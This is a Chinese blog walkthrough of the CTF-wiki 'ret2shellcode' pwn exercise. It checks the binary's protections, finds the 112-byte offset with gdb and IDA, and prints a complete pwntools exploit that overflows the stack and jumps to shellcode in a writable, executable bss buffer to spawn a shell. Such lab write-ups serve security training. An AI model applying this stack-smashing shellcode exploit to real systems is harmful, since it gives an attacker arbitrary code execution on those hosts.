当前位置:网站首页>跟着CTF-wiki学pwn——ret2shellcode
跟着CTF-wiki学pwn——ret2shellcode
2022-07-02 03:04:00 【大瑞大】
链接: 配置工具,gdb,ida
ret2shellcode题解
checksec查看:
no canary=可以简单栈溢出
NX disabled = 将shellcode放在数据段,即可执行
ida查看:
可以输入100个字节,复制到buf2,不能够溢出
原来buf2在bss段,
bss段:一般指程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域,特点是可读写,在程序执行之前,bss段清0
是不是可以执行呢
gdb调试:
gdb ret2shellcode
disas main
b main
r
vmmap
可以看到0804A080这个地址在上面选中的这个区域内,显示rwxp即可读写的权限。
lea eax,[esp+0x1c]
mov DWORD PTR [esp], eax
# 可以知道字符串起始地址相较于esp为+0x1c
所以距离ebp地址为0x88-0x1c = 0x6C
那么覆盖到返回地址就是:
+-----------------+
| /bin/sh | 原ret返回位置
+-----------------+
| holk | 原saved ebp位置(4字节)
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s起始,ebp-0x6C-->+-----------------+
0x6C+4 = 112(十进制)个字节。
知道了溢出字符数了,接下来找system(/bin/sh)
栈溢出题目,有了溢出字符量,有了system(/bin/sh) 即为完成题目,可惜木有…
可以自己构造shellcode【system(/bin/sh)】
shellcode = asm(shellcraft.sh())
构造payload
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
边栏推荐
- 寻找重复数[抽象二分/快慢指针/二进制枚举]
- Redis cluster
- [staff] pitch representation (treble clef | C3 60 ~ B3 71 pitch representation | C4 72 pitch representation | C5 84 pitch representation)
- Remote connection to MySQL under windows and Linux system
- 2022 hoisting machinery command examination paper and summary of hoisting machinery command examination
- 旋转框目标检测mmrotate v0.3.1 学习模型
- [JVM] detailed description of the process of creating objects
- 连通块模板及变式(共4题)
- Batch detect whether there is CDN in URL - high accuracy
- 2022-2028 global soft capsule manufacturing machine industry research and trend analysis report
猜你喜欢
Tupu software has passed CMMI5 certification| High authority and high-level certification in the international software field
MongoDB非關系型數據庫
C shallow copy and deep copy
数据传输中的成帧
Common means of modeling: aggregation
Connected block template and variants (4 questions in total)
el-table的render-header用法
Baohong industry | four basic knowledge necessary for personal finance
Build a modern data architecture on the cloud with Amazon AppFlow, Amazon lake formation and Amazon redshift
About DNS
随机推荐
[road of system analyst] collection of wrong topics in enterprise informatization chapter
Baohong industry | four basic knowledge necessary for personal finance
Verilog 过程连续赋值
What is the difference between an intermediate human resource manager and an intermediate economist (human resources direction)?
2022-2028 global manual dental cleaning equipment industry research and trend analysis report
What are the common proxy servers and what are the differences?
只需简单几步 - 开始玩耍微信小程序
寻找重复数[抽象二分/快慢指针/二进制枚举]
[JSON] gson use and step on the pit
3124. Word list
What kind of good and cost-effective Bluetooth sports headset to buy
Connected block template and variants (4 questions in total)
Unit · elementary C # learning notes
Formatting logic of SAP ui5 currency amount display
自定义组件的 v-model
旋转框目标检测mmrotate v0.3.1 学习模型
Systemserver service and servicemanager service analysis
Mathematical calculation in real mode addressing
Delphi xe10.4 installing alphacontrols15.12
Stack - es - official documents - filter search results